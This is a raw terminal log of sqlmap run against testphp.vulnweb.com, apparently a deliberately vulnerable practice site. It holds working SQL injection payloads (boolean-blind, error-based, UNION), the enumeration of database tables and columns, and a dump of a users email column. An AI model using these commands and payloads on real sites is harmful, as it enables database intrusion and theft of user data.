|  |
| --- |
| ─(kali㉿kali)-[~] |
|  | └─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs |
|  | \_\_\_ |
|  | \_\_H\_\_ |
|  | \_\_\_ \_\_\_[,]\_\_\_\_\_ \_\_\_ \_\_\_ {1.6#stable} |
|  | |\_ -| . [(] | .'| . | |
|  | |\_\_\_|\_ [,]\_|\_|\_|\_\_,| \_| |
|  | |\_|V... |\_| https://sqlmap.org |
|  |  |
|  | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program |
|  |  |
|  | [\*] starting @ 15:29:16 /2023-01-09/ |
|  |  |
|  | [15:29:18] [INFO] testing connection to the target URL |
|  | [15:29:18] [INFO] checking if the target is protected by some kind of WAF/IPS |
|  | [15:29:19] [INFO] testing if the target URL content is stable |
|  | [15:29:19] [INFO] target URL content is stable |
|  | [15:29:19] [INFO] testing if GET parameter 'artist' is dynamic |
|  | [15:29:19] [INFO] GET parameter 'artist' appears to be dynamic |
|  | [15:29:20] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL') |
|  | [15:29:20] [INFO] testing for SQL injection on GET parameter 'artist' |
|  | it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] |
|  | zsh: suspended sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs |
|  |  |
|  | ┌──(kali㉿kali)-[~] |
|  | └─$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs |
|  | \_\_\_ |
|  | \_\_H\_\_ |
|  | \_\_\_ \_\_\_[)]\_\_\_\_\_ \_\_\_ \_\_\_ {1.6#stable} |
|  | |\_ -| . ['] | .'| . | |
|  | |\_\_\_|\_ [,]\_|\_|\_|\_\_,| \_| |
|  | |\_|V... |\_| https://sqlmap.org |
|  |  |
|  | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program |
|  |  |
|  | [\*] starting @ 15:44:53 /2023-01-09/ |
|  |  |
|  | [15:44:53] [INFO] testing connection to the target URL |
|  | [15:44:54] [INFO] checking if the target is protected by some kind of WAF/IPS |
|  | [15:44:54] [INFO] testing if the target URL content is stable |
|  | [15:44:55] [INFO] target URL content is stable |
|  | [15:44:55] [INFO] testing if GET parameter 'cat' is dynamic |
|  | [15:44:55] [INFO] GET parameter 'cat' appears to be dynamic |
|  | [15:44:55] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable (possible DBMS: 'MySQL') |
|  | [15:44:56] [INFO] heuristic (XSS) test shows that GET parameter 'cat' might be vulnerable to cross-site scripting (XSS) attacks |
|  | [15:44:56] [INFO] testing for SQL injection on GET parameter 'cat' |
|  | it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] |
|  | for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] |
|  | [15:46:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' |
|  | [15:46:04] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s) |
|  | [15:46:07] [WARNING] reflective value(s) found and filtering out |
|  | [15:46:08] [INFO] GET parameter 'cat' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="sem") |
|  | [15:46:08] [INFO] testing 'Generic inline queries' |
|  | [15:46:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' |
|  | [15:46:09] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' |
|  | [15:46:09] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' |
|  | [15:46:10] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' |
|  | [15:46:10] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID\_SUBSET)' |
|  | [15:46:10] [INFO] GET parameter 'cat' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID\_SUBSET)' injectable |
|  | [15:46:10] [INFO] testing 'MySQL inline queries' |
|  | [15:46:11] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' |
|  | [15:46:11] [WARNING] time-based comparison requires larger statistical model, please wait............... (done) |
|  | [15:46:18] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more) |
|  | [15:46:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries' |
|  | [15:46:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' |
|  | [15:46:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' |
|  | [15:46:20] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)' |
|  | [15:46:20] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)' |
|  | [15:46:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' |
|  | [15:46:31] [INFO] GET parameter 'cat' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable |
|  | [15:46:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' |
|  | [15:46:31] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found |
|  | [15:46:32] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test |
|  | [15:46:34] [INFO] target URL appears to have 11 columns in query |
|  | [15:46:35] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable |
|  |  |
|  | zsh: suspended sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs |
|  |  |
|  | ┌──(kali㉿kali)-[~] |
|  | └─$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs |
|  | \_\_\_ |
|  | \_\_H\_\_ |
|  | \_\_\_ \_\_\_[']\_\_\_\_\_ \_\_\_ \_\_\_ {1.6#stable} |
|  | |\_ -| . [(] | .'| . | |
|  | |\_\_\_|\_ [)]\_|\_|\_|\_\_,| \_| |
|  | |\_|V... |\_| https://sqlmap.org |
|  |  |
|  | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program |
|  |  |
|  | [\*] starting @ 15:47:37 /2023-01-09/ |
|  |  |
|  | [15:47:37] [INFO] testing connection to the target URL |
|  | [15:47:38] [INFO] checking if the target is protected by some kind of WAF/IPS |
|  | [15:47:38] [INFO] testing if the target URL content is stable |
|  | [15:47:39] [INFO] target URL content is stable |
|  | [15:47:39] [INFO] testing if GET parameter 'cat' is dynamic |
|  | [15:47:39] [INFO] GET parameter 'cat' appears to be dynamic |
|  | [15:47:41] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable (possible DBMS: 'MySQL') |
|  | [15:47:41] [INFO] heuristic (XSS) test shows that GET parameter 'cat' might be vulnerable to cross-site scripting (XSS) attacks |
|  | [15:47:41] [INFO] testing for SQL injection on GET parameter 'cat' |
|  | it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n |
|  | for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n |
|  | [15:47:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' |
|  | [15:47:48] [WARNING] reflective value(s) found and filtering out |
|  | [15:47:49] [INFO] GET parameter 'cat' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Sed") |
|  | [15:47:49] [INFO] testing 'Generic inline queries' |
|  | [15:47:49] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' |
|  | [15:47:50] [INFO] GET parameter 'cat' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable |
|  | [15:47:50] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' |
|  | [15:47:50] [WARNING] time-based comparison requires larger statistical model, please wait.................... (done) |
|  | [15:48:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' |
|  | [15:48:01] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found |
|  | [15:48:09] [INFO] target URL appears to be UNION injectable with 11 columns |
|  | [15:48:10] [INFO] GET parameter 'cat' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable |
|  | GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N] |
|  | sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests: |
|  | --- |
|  | Parameter: cat (GET) |
|  | Type: boolean-based blind |
|  | Title: AND boolean-based blind - WHERE or HAVING clause |
|  | Payload: cat=1 AND 7673=7673 |
|  |  |
|  | Type: error-based |
|  | Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) |
|  | Payload: cat=1 AND EXTRACTVALUE(6916,CONCAT(0x5c,0x7170766a71,(SELECT (ELT(6916=6916,1))),0x7171717871)) |
|  |  |
|  | Type: UNION query |
|  | Title: Generic UNION query (NULL) - 11 columns |
|  | Payload: cat=1 UNION ALL SELECT CONCAT(0x7170766a71,0x64554d795249514f4351716f45795242696d566747744f7366486b416b4675585a614d464261545a,0x7171717871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - |
|  | --- |
|  | [15:48:21] [INFO] the back-end DBMS is MySQL |
|  | web server operating system: Linux Ubuntu |
|  | web application technology: Nginx 1.19.0, PHP 5.6.40 |
|  | back-end DBMS: MySQL >= 5.1 |
|  | [15:48:23] [INFO] fetching database names |
|  | available databases [2]: |
|  | [\*] acuart |
|  | [\*] information\_schema |
|  |  |
|  | [15:48:23] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com' |
|  | [15:48:23] [WARNING] your sqlmap version is outdated |
|  |  |
|  | [\*] ending @ 15:48:23 /2023-01-09/ |
|  |  |
|  |  |
|  | ┌──(kali㉿kali)-[~] |
|  | └─$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --columns |
|  | \_\_\_ |
|  | \_\_H\_\_ |
|  | \_\_\_ \_\_\_[,]\_\_\_\_\_ \_\_\_ \_\_\_ {1.6#stable} |
|  | |\_ -| . ['] | .'| . | |
|  | |\_\_\_|\_ [.]\_|\_|\_|\_\_,| \_| |
|  | |\_|V... |\_| https://sqlmap.org |
|  |  |
|  | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program |
|  |  |
|  | [\*] starting @ 16:49:21 /2023-01-09/ |
|  |  |
|  | [16:49:21] [INFO] resuming back-end DBMS 'mysql' |
|  | [16:49:21] [INFO] testing connection to the target URL |
|  | sqlmap resumed the following injection point(s) from stored session: |
|  | --- |
|  | Parameter: cat (GET) |
|  | Type: boolean-based blind |
|  | Title: AND boolean-based blind - WHERE or HAVING clause |
|  | Payload: cat=1 AND 7673=7673 |
|  |  |
|  | Type: error-based |
|  | Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) |
|  | Payload: cat=1 AND EXTRACTVALUE(6916,CONCAT(0x5c,0x7170766a71,(SELECT (ELT(6916=6916,1))),0x7171717871)) |
|  |  |
|  | Type: UNION query |
|  | Title: Generic UNION query (NULL) - 11 columns |
|  | Payload: cat=1 UNION ALL SELECT CONCAT(0x7170766a71,0x64554d795249514f4351716f45795242696d566747744f7366486b416b4675585a614d464261545a,0x7171717871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - |
|  | --- |
|  | [16:49:22] [INFO] the back-end DBMS is MySQL |
|  | web server operating system: Linux Ubuntu |
|  | web application technology: PHP 5.6.40, Nginx 1.19.0 |
|  | back-end DBMS: MySQL >= 5.1 |
|  | [16:49:22] [INFO] fetching tables for database: 'acuart' |
|  | [16:49:22] [INFO] fetching columns for table 'artists' in database 'acuart' |
|  | [16:49:23] [INFO] fetching columns for table 'products' in database 'acuart' |
|  | [16:49:23] [INFO] fetching columns for table 'categ' in database 'acuart' |
|  | [16:49:24] [INFO] fetching columns for table 'guestbook' in database 'acuart' |
|  | [16:49:24] [INFO] fetching columns for table 'featured' in database 'acuart' |
|  | [16:49:25] [INFO] fetching columns for table 'carts' in database 'acuart' |
|  | [16:49:27] [INFO] fetching columns for table 'pictures' in database 'acuart' |
|  | [16:49:28] [INFO] fetching columns for table 'users' in database 'acuart' |
|  | Database: acuart |
|  | Table: artists |
|  | [3 columns] |
|  | +-----------+-------------+ |
|  | | Column | Type | |
|  | +-----------+-------------+ |
|  | | adesc | text | |
|  | | aname | varchar(50) | |
|  | | artist\_id | int | |
|  | +-----------+-------------+ |
|  |  |
|  | Database: acuart |
|  | Table: products |
|  | [5 columns] |
|  | +-------------+--------------+ |
|  | | Column | Type | |
|  | +-------------+--------------+ |
|  | | description | text | |
|  | | id | int unsigned | |
|  | | name | text | |
|  | | price | int unsigned | |
|  | | rewritename | text | |
|  | +-------------+--------------+ |
|  |  |
|  | Database: acuart |
|  | Table: categ |
|  | [3 columns] |
|  | +--------+-------------+ |
|  | | Column | Type | |
|  | +--------+-------------+ |
|  | | cat\_id | int | |
|  | | cdesc | tinytext | |
|  | | cname | varchar(50) | |
|  | +--------+-------------+ |
|  |  |
|  | Database: acuart |
|  | Table: guestbook |
|  | [3 columns] |
|  | +----------+--------------+ |
|  | | Column | Type | |
|  | +----------+--------------+ |
|  | | mesaj | text | |
|  | | sender | varchar(150) | |
|  | | senttime | int | |
|  | +----------+--------------+ |
|  |  |
|  | Database: acuart |
|  | Table: featured |
|  | [2 columns] |
|  | +--------------+------+ |
|  | | Column | Type | |
|  | +--------------+------+ |
|  | | feature\_text | text | |
|  | | pic\_id | int | |
|  | +--------------+------+ |
|  |  |
|  | Database: acuart |
|  | Table: carts |
|  | [3 columns] |
|  | +---------+--------------+ |
|  | | Column | Type | |
|  | +---------+--------------+ |
|  | | cart\_id | varchar(100) | |
|  | | item | int | |
|  | | price | int | |
|  | +---------+--------------+ |
|  |  |
|  | Database: acuart |
|  | Table: pictures |
|  | [8 columns] |
|  | +--------+--------------+ |
|  | | Column | Type | |
|  | +--------+--------------+ |
|  | | a\_id | int | |
|  | | cat\_id | int | |
|  | | img | varchar(50) | |
|  | | pic\_id | int | |
|  | | plong | text | |
|  | | price | int | |
|  | | pshort | mediumtext | |
|  | | title | varchar(100) | |
|  | +--------+--------------+ |
|  |  |
|  | Database: acuart |
|  | Table: users |
|  | [8 columns] |
|  | +---------+--------------+ |
|  | | Column | Type | |
|  | +---------+--------------+ |
|  | | address | mediumtext | |
|  | | cart | varchar(100) | |
|  | | cc | varchar(100) | |
|  | | email | varchar(100) | |
|  | | name | varchar(100) | |
|  | | pass | varchar(100) | |
|  | | phone | varchar(100) | |
|  | | uname | varchar(100) | |
|  | +---------+--------------+ |
|  |  |
|  | [16:49:28] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com' |
|  | [16:49:28] [WARNING] your sqlmap version is outdated |
|  |  |
|  | [\*] ending @ 16:49:28 /2023-01-09/ |
|  |  |
|  |  |
|  | ┌──(kali㉿kali)-[~] |
|  | └─$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email --dump |
|  | \_\_\_ |
|  | \_\_H\_\_ |
|  | \_\_\_ \_\_\_["]\_\_\_\_\_ \_\_\_ \_\_\_ {1.6#stable} |
|  | |\_ -| . [.] | .'| . | |
|  | |\_\_\_|\_ [,]\_|\_|\_|\_\_,| \_| |
|  | |\_|V... |\_| https://sqlmap.org |
|  |  |
|  | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program |
|  |  |
|  | [\*] starting @ 16:52:52 /2023-01-09/ |
|  |  |
|  | [16:52:52] [INFO] resuming back-end DBMS 'mysql' |
|  | [16:52:52] [INFO] testing connection to the target URL |
|  | sqlmap resumed the following injection point(s) from stored session: |
|  | --- |
|  | Parameter: cat (GET) |
|  | Type: boolean-based blind |
|  | Title: AND boolean-based blind - WHERE or HAVING clause |
|  | Payload: cat=1 AND 7673=7673 |
|  |  |
|  | Type: error-based |
|  | Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) |
|  | Payload: cat=1 AND EXTRACTVALUE(6916,CONCAT(0x5c,0x7170766a71,(SELECT (ELT(6916=6916,1))),0x7171717871)) |
|  |  |
|  | Type: UNION query |
|  | Title: Generic UNION query (NULL) - 11 columns |
|  | Payload: cat=1 UNION ALL SELECT CONCAT(0x7170766a71,0x64554d795249514f4351716f45795242696d566747744f7366486b416b4675585a614d464261545a,0x7171717871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - |
|  | --- |
|  | [16:52:53] [INFO] the back-end DBMS is MySQL |
|  | web server operating system: Linux Ubuntu |
|  | web application technology: PHP 5.6.40, Nginx 1.19.0 |
|  | back-end DBMS: MySQL >= 5.1 |
|  | [16:52:53] [INFO] fetching entries of column(s) 'email' for table 'users' in database 'acuart' |
|  | Database: acuart |
|  | Table: users |
|  | [1 entry] |
|  | +-------------+ |
|  | | email | |
|  | +-------------+ |
|  | | 123@123.com | |
|  | +-------------+ |
|  |  |
|  | [16:52:54] [INFO] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv' |
|  | [16:52:54] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com' |
|  | [16:52:54] [WARNING] your sqlmap version is outdated |
|  |  |
|  | [\*] ending @ 16:52:54 /2023-01-09/ |
|  |  |
|  |  |
|  | ┌──(kali㉿kali)-[~] |
|  | └─$ |